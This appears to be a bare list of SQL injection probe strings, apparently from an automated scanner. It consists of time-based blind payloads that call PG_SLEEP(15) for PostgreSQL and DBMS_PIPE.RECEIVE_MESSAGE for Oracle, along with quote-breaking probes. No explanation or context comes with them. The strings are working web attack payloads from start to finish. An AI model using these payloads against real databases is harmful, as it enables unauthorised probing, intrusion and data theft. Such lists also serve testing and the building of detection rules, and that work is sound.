555DVkS6xqY') OR 372=(SELECT 372 FROM PG_SLEEP(15))--
555
@@G2xaG
555'"
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555LkoKtmZP' OR 22=(SELECT 22 FROM PG_SLEEP(15))--
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)